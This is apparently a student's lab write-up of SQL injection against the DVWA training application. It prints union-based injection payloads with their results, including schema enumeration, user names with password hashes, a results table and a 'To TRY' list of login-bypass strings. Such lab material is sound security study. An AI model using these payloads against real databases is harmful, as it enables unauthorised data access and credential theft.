# SQL Injection

SQL Injection is a code injection technique which allows attackers to manipulate SQL-based databases by injecting additional or false information into SQL queries sent to a remote database. In a successful SQL attack the hacker is able to modify, change, or even delete the databases infrastructure.

# SQL Injection on DVWA

Beginning the SQL injection on DVWA it was tested if a vulnerability exists that can be exploited. Using the common “' OR '1'='1” command the database returned all first and last names of what seems to be a table which contains information about users.

To get further information about the database a faulty statement, ' UNION SELECT NULL, was used to provoke an error message. The statements needs an additional “'” to have proper syntax.

Response: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 1

The website indeed returned an error message which shows that the used database is MySQL. Having this knowledge we can extract more information with MySQL specific statements.

Intially, it is helpful to query the database version in order to find out which MySQL statements are applicable. Hence, we use the same statement with correct syntax and instead of “NULL” we query for the database version.

Statement: ' UNION SELECT @@version'

Response: The used SELECT statements have a different number of columns

The response shows that we need to add columns until it corresponds with the amount of columns that are being queried of the alleged user table. Fortunately, “' UNION SELECT @@version, NULL'” gave the expected result already.

@@version: 5.5.50-0+deb7u2

We get some additional knowledge using statement below.

' UNION SELECT @@hostname, database()'

Response: debian7, dvwa

To query different tables we have to find out about the databases infrastructure. On MySQL based databases this information is found in the information schema. Different queries were executed to retrieve different information.

' union select schema\_name, schema\_name FROM information\_schema.schemata where 1=1--'

Response:

ID: ' union select schema\_name, schema\_name FROM information\_schema.schemata where 1=1--'  
First name: information\_schema  
Surname: information\_schema

ID: ' union select schema\_name, schema\_name FROM information\_schema.schemata where 1=1--'  
First name: dvwa  
Surname: dvwa

ID: ' union select schema\_name, schema\_name FROM information\_schema.schemata where 1=1--'  
First name: mysql  
Surname: mysql

ID: ' union select schema\_name, schema\_name FROM information\_schema.schemata where 1=1--'  
First name: performance\_schema  
Surname: performance\_schema

' UNION ALL SELECT table\_schema, table\_name FROM information\_schema.columns WHERE table\_schema != 'mysql' AND table\_schema != 'information\_schema

THIS GIVES YOU ANYTHING

' union select schema\_name, schema\_name FROM information\_schema.schemata where 1=1--'

ID: -1' union select schema\_name, schema\_name FROM information\_schema.schemata where 1=1--'  
First name: information\_schema  
Surname: information\_schema

ID: -1' union select schema\_name, schema\_name FROM information\_schema.schemata where 1=1--'  
First name: dvwa  
Surname: dvwa

ID: -1' union select schema\_name, schema\_name FROM information\_schema.schemata where 1=1--'  
First name: mysql  
Surname: mysql

ID: -1' union select schema\_name, schema\_name FROM information\_schema.schemata where 1=1--'  
First name: performance\_schema  
Surname: performance\_schema

' UNION ALL SELECT column\_name , table\_name FROM information\_schema.columns WHERE table\_schema != 'mysql' AND table\_schema != 'information\_schema

ID: ' UNION ALL SELECT column\_name , table\_name FROM information\_schema.columns WHERE table\_schema != 'mysql' AND table\_schema != 'information\_schema  
First name: comment\_id  
Surname: guestbook

ID: ' UNION ALL SELECT column\_name , table\_name FROM information\_schema.columns WHERE table\_schema != 'mysql' AND table\_schema != 'information\_schema  
First name: comment  
Surname: guestbook

ID: ' UNION ALL SELECT column\_name , table\_name FROM information\_schema.columns WHERE table\_schema != 'mysql' AND table\_schema != 'information\_schema  
First name: name  
Surname: guestbook

ID: ' UNION ALL SELECT column\_name , table\_name FROM information\_schema.columns WHERE table\_schema != 'mysql' AND table\_schema != 'information\_schema  
First name: user\_id  
Surname: users

ID: ' UNION ALL SELECT column\_name , table\_name FROM information\_schema.columns WHERE table\_schema != 'mysql' AND table\_schema != 'information\_schema  
First name: first\_name  
Surname: users

ID: ' UNION ALL SELECT column\_name , table\_name FROM information\_schema.columns WHERE table\_schema != 'mysql' AND table\_schema != 'information\_schema  
First name: last\_name  
Surname: users

ID: ' UNION ALL SELECT column\_name , table\_name FROM information\_schema.columns WHERE table\_schema != 'mysql' AND table\_schema != 'information\_schema  
First name: user  
Surname: users

ID: ' UNION ALL SELECT column\_name , table\_name FROM information\_schema.columns WHERE table\_schema != 'mysql' AND table\_schema != 'information\_schema  
First name: password  
Surname: users

ID: ' UNION ALL SELECT column\_name , table\_name FROM information\_schema.columns WHERE table\_schema != 'mysql' AND table\_schema != 'information\_schema  
First name: avatar  
Surname: users

' UNION ALL SELECT name, comment FROM guestbook where 1=1--'

ID: ' UNION ALL SELECT name, comment FROM guestbook where 1=1--'  
First name: test  
Surname: This is a test comment.

ID: ' UNION ALL SELECT name, comment FROM guestbook where 1=1--'  
First name: 3  
Surname: eqwe

ID: ' UNION ALL SELECT name, comment FROM guestbook where 1=1--'  
First name: c  
Surname: c

ID: ' UNION ALL SELECT name, comment FROM guestbook where 1=1--'  
First name: aj  
Surname:

' UNION ALL SELECT user, password FROM users where 1=1--'

ID: ' UNION ALL SELECT user, password FROM users where 1=1--'  
First name: admin  
Surname: 5f4dcc3b5aa765d61d8327deb882cf99

ID: ' UNION ALL SELECT user, password FROM users where 1=1--'  
First name: gordonb  
Surname: e99a18c428cb38d5f260853678922e03

ID: ' UNION ALL SELECT user, password FROM users where 1=1--'  
First name: 1337  
Surname: 8d3533d75ae2c3966d7e0d4fcc69216b

ID: ' UNION ALL SELECT user, password FROM users where 1=1--'  
First name: pablo  
Surname: 0d107d09f5bbe40cade3de5c71e9e9b7

ID: ' UNION ALL SELECT user, password FROM users where 1=1--'  
First name: smithy  
Surname: 5f4dcc3b5aa765d61d8327deb882cf99

' UNION ALL SELECT first\_name, last\_name FROM users where 1=1--'

ID: ' UNION ALL SELECT first\_name, last\_name FROM users where 1=1--'  
First name: admin  
Surname: admin

ID: ' UNION ALL SELECT first\_name, last\_name FROM users where 1=1--'  
First name: Gordon  
Surname: Brown

ID: ' UNION ALL SELECT first\_name, last\_name FROM users where 1=1--'  
First name: Hack  
Surname: Me

ID: ' UNION ALL SELECT first\_name, last\_name FROM users where 1=1--'  
First name: Pablo  
Surname: Picasso

ID: ' UNION ALL SELECT first\_name, last\_name FROM users where 1=1--'  
First name: Bob  
Surname: Smith

|  |  |
| --- | --- |
| Command | Result |
| ' OR '1'='1 | Outputs all users including admin |
| ' UNION SELECT NULL | Syntax error, need apostrophe |
| ' UNION SELECT NULL, NULL, NULL' | different number of columns |
| ' UNION SELECT @@version' | different number of columns |
| ' UNION SELECT database(), NULL' | dvwa |
| ' UNION SELECT database(), @@version' | Dvwa, 5.5.50-0+deb7u2 |
| ' UNION SELECT @@hostname, NULL ' | debian7 |
| 1 ORDER BY 1 | Returns Id: 1 ORDER BY 1 with corresponding user |

# To TRY

' or 1=1--  
" or 1=1--  
or 1=1--  
' or 'a'='a  
" or "a"="a  
') or ('a'='a

# References

SecuriTeam.com. (May 2002). *SQL Injection Walkthrough*. Von SecuriTeam.com: http://www.securiteam.com/securityreviews/5DP0N1P76E.html abgerufen